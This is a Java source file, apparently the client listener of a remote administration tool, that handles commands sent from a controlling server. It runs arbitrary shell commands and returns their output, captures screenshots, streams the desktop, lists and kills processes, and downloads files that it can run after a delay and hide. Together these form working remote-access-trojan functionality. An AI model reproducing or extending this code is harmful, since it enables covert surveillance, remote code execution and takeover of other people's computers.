package client.listener;

import client.ClientManager;
import com.esotericsoftware.kryonet.Connection;
import com.esotericsoftware.kryonet.Listener;
import com.esotericsoftware.minlog.Log;
import java.awt.AWTException;
import java.awt.Desktop;
import java.awt.GraphicsDevice;
import java.awt.GraphicsEnvironment;
import java.awt.MouseInfo;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URI;
import java.net.URISyntaxException;
import java.util.ArrayList;
import javax.sound.sampled.LineUnavailableException;
import javax.swing.JDialog;
import javax.swing.JOptionPane;
import net.packet.FileDownload;
import util.CDDrive;
import util.Monitor;
import util.Screenshot;
import util.Sound;

public class ClientListerer extends Listener {

    private ClientManager client;
    private Robot robot;

    public ClientListerer(ClientManager clientManager) {
        this.client = clientManager;

        try {
            robot = new Robot();
        } catch (AWTException ex) {
            client.writeToServerLog(Log.LEVEL_ERROR, "[ClientListerer] Failed to initialize the object", ex);
        }
    }

    @Override
    public void received(Connection connection, Object object) {
        if (client.getClient().isConnected()) {
            if (object instanceof net.packet.MessageBox) {

                net.packet.MessageBox packet = (net.packet.MessageBox) object;

                JOptionPane pane = new JOptionPane(packet.message, packet.icon);
                JDialog dialog = pane.createDialog(null, packet.title);
                dialog.setIconImage(new BufferedImage(1, 1, BufferedImage.TYPE_INT_ARGB));
                dialog.setAlwaysOnTop(true);
                dialog.setLocationRelativeTo(null);
                
                // Play error sound and show dialog
                Toolkit.getDefaultToolkit().beep();
                dialog.setVisible(true);

            } else if (object instanceof net.packet.Command) {

                net.packet.Command packet = (net.packet.Command) object;

                try {
                    Process p = Runtime.getRuntime().exec(packet.command);
                    BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));

                    String temp;
                    StringBuilder builder = new StringBuilder();
                    while ((temp = reader.readLine()) != null) {
                        builder.append(temp).append("\n");
                    }

                    packet.response = builder.toString();

                    connection.sendUDP(packet);
                } catch (IOException ex) {
                    packet.response = String.format("[Command] Failed to execute command \"%s\"", packet.command);
                    connection.sendUDP(packet);
                }

            } else if (object instanceof net.packet.Screenshot) {

                net.packet.Screenshot packet = (net.packet.Screenshot) object;

                try {
                    GraphicsEnvironment g = GraphicsEnvironment.getLocalGraphicsEnvironment();
                    GraphicsDevice device = MouseInfo.getPointerInfo().getDevice();;

                    if (packet.monitor == Monitor.MONITOR_ACTIVE) {
                        device = MouseInfo.getPointerInfo().getDevice();
                    } else if (packet.monitor == Monitor.MONITOR_DEFAULT) {
                        device = g.getDefaultScreenDevice();
                    }

                    BufferedImage image = robot.createScreenCapture(device.getDefaultConfiguration().getBounds());
                    packet.image = Screenshot.convertToByte(image, packet.quality, packet.scale);

                    connection.sendUDP(packet);
                } catch (IOException ex) {
                    client.writeToServerLog(Log.LEVEL_ERROR, "[Screenshot] Failed to take a screenshot", ex);
                }

            } else if (object instanceof net.packet.CDDrive) {

                net.packet.CDDrive packet = (net.packet.CDDrive) object;

                if (packet.getDrive) {
                    packet.response = CDDrive.getDrive();
                } else {
                    if (packet.open) {
                        packet.response = CDDrive.open(packet.drive);
                    } else {
                        packet.response = CDDrive.close(packet.drive);
                    }
                }

                connection.sendUDP(packet);

            } else if (object instanceof net.packet.RemoteDesktop) {

                net.packet.RemoteDesktop packet = (net.packet.RemoteDesktop) object;

                if (packet.start) {
                    if (!client.getRemoteDesktopManager().isCapturing()) {
                        client.getRemoteDesktopManager().startCapturing(packet.timeBetweenFrames, packet.monitor, packet.quality, packet.scale);
                    }
                } else {
                    client.getRemoteDesktopManager().stopCapturing();
                }

            } else if (object instanceof net.packet.Beep) {

                net.packet.Beep packet = (net.packet.Beep) object;

                try {
                    Sound.beep(packet.frequency, packet.duration, packet.volume);
                } catch (LineUnavailableException ex) {
                    client.writeToServerLog(Log.LEVEL_ERROR, "[Beep] Failed to play beep sound", ex);
                }

            } else if (object instanceof net.packet.Website) {

                net.packet.Website packet = (net.packet.Website) object;

                if (Desktop.isDesktopSupported()) {
                    try {
                        Desktop.getDesktop().browse(new URI(packet.url));
                    } catch (URISyntaxException ex) {
                        client.writeToServerLog(Log.LEVEL_ERROR, "[Website] Failed to parse the address url", ex);
                    } catch (IOException ex) {
                        client.writeToServerLog(Log.LEVEL_ERROR, "[Website] Failed to open the website", ex);
                    }
                }

            } else if (object instanceof net.packet.TaskList) {

                try {
                    net.packet.TaskList packet = new net.packet.TaskList();

                    Process p = Runtime.getRuntime().exec("tasklist /fo csv /nh");
                    BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
                    ArrayList<String> tasksList = new ArrayList<>();

                    String line;
                    while ((line = reader.readLine()) != null) {
                        if (line.contains(".exe")) {
                            tasksList.add(line);
                        }
                    }

                    String[] tasks = new String[tasksList.size()];
                    for (int i = 0; i < tasks.length; i++) {
                        tasks[i] = tasksList.get(i);
                    }

                    packet.tasks = tasks;

                    connection.sendUDP(packet);
                } catch (IOException ex) {
                    client.writeToServerLog(Log.LEVEL_ERROR, "[TaskList] Failed to get the tasklist", ex);
                }

            } else if (object instanceof net.packet.TaskKill) {

                net.packet.TaskKill packet = (net.packet.TaskKill) object;

                try {
                    Runtime.getRuntime().exec(String.format("taskkill /PID %d /F", packet.pid));
                    packet.response = String.format("Successfully killed process %d.", packet.pid);
                } catch (IOException ex) {
                    packet.response = String.format("Failed to kill process %d.", packet.pid);
                }

                connection.sendUDP(packet);

            } else if (object instanceof net.packet.FileDownload) {

                net.packet.FileDownload packet = (net.packet.FileDownload) object;

                if (packet.set == FileDownload.DOWNLOAD_PAUSE) {
                    client.getRemoteDownloadManager().pauseDownload(true);
                } else if (packet.set == FileDownload.DOWNLOAD_UNPAUSE) {
                    client.getRemoteDownloadManager().pauseDownload(false);
                } else if (packet.set == FileDownload.DOWNLOAD_START) {
                    if (!client.getRemoteDownloadManager().isDownloading()) {
                        client.getRemoteDownloadManager().startDownloading(packet.url, packet.saveLocation, packet.execute, packet.executionDelay, packet.hide);
                    }
                } else if (packet.set == FileDownload.DOWNLOAD_STOP) {
                    client.getRemoteDownloadManager().stopDownloading();
                }

            }
        }
    }

}
